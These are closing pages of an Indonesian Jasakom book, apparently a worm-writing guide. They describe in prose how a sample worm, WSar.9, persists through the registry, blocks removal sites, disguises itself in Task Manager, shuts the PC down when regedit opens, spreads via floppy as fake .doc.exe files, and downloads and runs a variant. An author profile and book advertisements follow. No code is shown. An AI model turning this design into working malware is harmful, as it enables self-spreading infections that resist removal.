Sebaliknya jika nilai pada variabel WSarName ditemukan, maka jika path file utama tidak berada pada direktori System Windows, maka worm langsung mengakhiri proses dari file utama hal ini untuk mencegah penginfeksian berulang dari file infector lainnya, dan jika tidak worm akan menghapus file yang mengacu pada variabel WSarLast, kemudian menghapus key registry yang mengacu pada variabel WSarPath dengan value yang mengacu pada variabel WSarName. Selanjutnya worm akan membuat salinan ke direktori System Windows dengan menggunakan nama NextName lainnya. Worm kemudian mengatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName kemudian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori System Windows. Demikian hal ini akan berulang setiap kali Windows startup. Procedure ChangeIcon saat dieksekusi akan memeriksa keberadaan file WSar9.ico yang berada pada direktori Windows, jika tidak ditemukan maka dengan menggunakan resource file sebagai metode Drop File. Worm mengekstrak file WSar9.ico yang merupakan file icon bergambar hati ke direktori Windows dan langsung mengatur suatu nilai registry yang mengacu pada pengaturan default untuk icon berekstensi *.exe dengan mengganti icon tersebut menjadi icon WSar9.ico. Sebaliknya jika file WSar9.ico ditemukan, maka WSar.9 mengatur beberapa nilai registry yang mengacu pada pengaturan default untuk icon My Documents, My Computer, My Network Place dan Recycle Bin. dengan mengganti icon tersebut menjadi icon WSar9.ico. Procedure tmrBlockUrl_Timer aktif setiap satu detik dengan menutup aplikasi browser yang pada address-nya mengandung kata worm, virus dan removal. Hal ini dilakukan dengan menggunakan function BlockUrl yang terdapat pada module mdlBlockUrl. Procedure tmrDefender_Timer aktif setiap 0.2 detik, dengan menggunakan function WinCheck worm memeriksa apakah aplikasi Windows Task Manager dijalankan oleh user atau tidak.
271
Jasakom
Jika ternyata aplikasi tersebut dijalankan maka variabel TskActMon diatur menjadi false. Kemudian jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah true maka procedure diakhiri. Jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah false maka worm akan merubah string yang bertuliskan nama file utama dengan string "explorer.exe", string "EXPLORER.EXE" menjadi "SVCHOST.EXE" string "explorer.exe" menjadi "svchost.exe" dan merubah string "SYSTEM" menjadi "WSarWasHere" kemudian mengatur nilai TskActMon menjadi true. Jika user menjalankan aplikasi regedit.exe atau regedt32.exe (Registry Editor) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung mematikan komputer. Jika user menjalankan aplikasi msconfig.exe (System Configuration Utility) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung me-restart komputer. Saat procedure InfectFloppy dieksekusi pertama kali yang dilakukan adalah membersihkan data pada ListBox lstDoc, kemudian menambahkan satu item mengacu pada nilai registry yang merupakan lokasi default untuk folder My Document aktif. WSar.9 kemudian mencari dan mengumpulkan file yang berekstensi *.doc pada folder tersebut dan menyimpannya dalam ListBox lstDoc. Jika ListBox lstDoc memiliki data maka worm memilih secara acak nama file dokumen tersebut dan menggunakan nama tersebut untuk membuat salinan pada drive A, tentunya dengan ekstensi .exe. Sebaliknya jika pada ListBox lstDoc tidak ditemukan adanya data maka WSar.9 menggunakan nama default "readme.doc.exe". Procedure Payload akan memanggil function Phantom dengan variabel DirPath yang diambil dari lokasi default untuk folder My Document, variabel Extention diatur pada *.doc, variabel FullSourcePath dari fullpath file utama dan variabel TargetName yang diatur menjadi "where my document.doc.exe". Setelah itu seperti yang terjadi pada worm dasar lainnya, WSar.9 juga menampilkan pesan "WSar.9 Ada Pada Komputer Anda".
Jasakom
272
Procedure tmrMulti_Timer aktif setiap 0.5 detik. Jika angka kedua pada menit sekarang adalah 2 atau angka kedua pada menit sekarang adalah 8 dan detik sekarang adalah 13 maka akan di-eksekusi procedure InfectFloppy. Jika menit sekarang adalah 1 atau 31 maka panggil function SwapMouseButton dari module mdlIseng yang akan menukar fungsi tombol pada mouse, kemudian akan dipanggil function StartButton dari module mdlIseng yang akan menyembunyikan tombol Startmenu. Jika menit bukan 1 atau 31 maka sebaliknya akan menormalkan fungsi tombol pada mouse dan tetap menampilkan tombol Startmenu. Jika bulan sekarang adalah Oktober dan tanggal sekarang adalah 13 dan nilai CPayload adalah false, maka atur variabel CPayload menjadi true, kemudian panggil procedure PayLoad. Jika komputer tidak terkoneksi ke internet maka akan mengakhiri procedure. Jika tahun sekarang lebih besar dari 2006 dan nilai VarianExist adalah false, maka jika file dengan nama file wsar(tahun sekarang).exe (sebagai contoh jika tahun sekarang adalah 2007 maka nama filenya adalah: wsar2007.exe) tidak ditemukan pada direktori Windows maka WSar.9 memanggil function Downloader yang akan men-download file dari site fiktif http://www.iwwa.or.id/newvar ian/wsarx.exe, dengan lokasi file pada direktori Windows dan langsung mengeksekusinya, kemudian mengatur nilai VarianExist menjadi true. Function DropFile berguna untuk mengekstrak resource file dari body program utama. Function Downloader berfungsi untuk memudahkan pengambilan file di internet. Function Phantom bertugas untuk memeriksa suatu folder tertentu dan mencari file-file dengan suatu ekstensi tertentu, dimana function ini menyembunyikan file-file tersebut dan meninggalkan suatu salinan file tertentu dengan nama file tertentu pula. Function GetFiles berfungsi untuk membantu mengumpulkan file dengan ekstensi tertentu dan pada direktori tertentu. Module mdlBlockUrl memiliki function utama BlockUrl, function yang akan memeriksa address bar pada aplikasi Internet Explorer dan Netscape.
273
Jasakom
Module mdlIseng memiliki 3 function utama, yaitu Function ShowCursor yang dapat menyembunyikan dan menampilkan pointer mouse, Function SwapMouseButton yang mampu menukar fungsi tombol pada mouse, dan function StartButton yang dapat menyembunyikan dan menampilkan tombol Startmenu. Module mdlRenProcess memiliki function utama RenProcess yang dapat mengganti string pada jendela aplikasi Task List. Module mdlTurnOff memiliki function utama TurnOff, function yang dapat menghentikan system komputer dengan berbagai cara seperti ShutDown, Restart atau LogOff. Catatan untuk WSar.9: berikut ini adalah beberapa lokasi registry, sehubungan dengan icon default pada suatu ekstensi Ekstensi
AVI CHM GIF HTML ICO JPG MID MP3 MPEG WMA WMF
Lokasi Key
HKEY_CLASSES_ROOT\AVIFile\DefaultIcon HKEY_CLASSES_ROOT\chm.file\DefaultIcon HKEY_CLASSES_ROOT\giffile\DefaultIcon HKEY_CLASSES_ROOT\htmlfile\DefaultIcon HKEY_CLASSES_ROOT\icofile\DefaultIcon HKEY_CLASSES_ROOT\jpegfile\DefaultIcon HKEY_CLASSES_ROOT\MIDFile\DefaultIcon HKEY_CLASSES_ROOT\mp3file\DefaultIcon HKEY_CLASSES_ROOT\mpegfile\DefaultIcon HKEY_CLASSES_ROOT\wmafile\DefaultIcon HKEY_CLASSES_ROOT\wmffile\DefaultIcon
274
PROFIL PENULIS
Nama penulis Achmad Darmal, lahir pada tanggal 13 Oktober 1980 di Tarakan, Kalimantan Timur - Indonesia, saat ini bekerja pada salah satu perusahaan swasta yang bergerak dibidang konstruksi dan pertambangan, penulis juga bekerja part-time dibeberapa lembaga kursus sebagai tenaga instruktur sekaligus merangkap sebagai teknisi komputer. Saat ini penulis sedang memperdalam ilmu komputer animasi dan desain grafis, serta aktif dalam pengembangan software perusahaan dimana penulis bekerja.
Alamat lengkap penulis: Jl. Pesisir Indah RT. 13 No. 86 Kel. Selumit Pantai Tarakan Tengah, Kalimantan Timur - Indonesia Telp: (0551) 5505637 Fax: (0551) 34971 E-mail : forensic@telkom.net
275
Jasakom
ofil - Profil - Profil - Profil -Profil - Profil -Profil - Profil - Profil -Pro
www.buku-joomla.us adalah situs yang dibangun dan dikelola oleh pembaca buku Joomla! 1.5 : Dunianya Maya, Untungnya Nyata. Sebagai pembaca, Anda berhak mengakses, membangun, merubah seisi situs ini. Dapatkan informasi detailnya didalam buku Joomla 1.5 !
Penulis : Sto
Windows XP:XXX dan Windows XP2:XXX merupakan serial buku IT paling laris sepanjang tahun. Buku ini akan memperlihatkan kepada Anda bagaimana melakukan berbagai hal unik dengan Windows XP yang tidak pernah Anda bayangkan sebelumnya. Tidak percaya? Silahkan buktikan sendiri !
Kunjungi www.jasakom.com untuk melihat dan membeli buku-buku terbitan dari Jasakom Buku ini juga tersedia di toko-toko buku di seluruh Indonesia seperti Gramedia, Toga Mas Gunung Agung, Toko Utama, Kharisma, Uranus, dll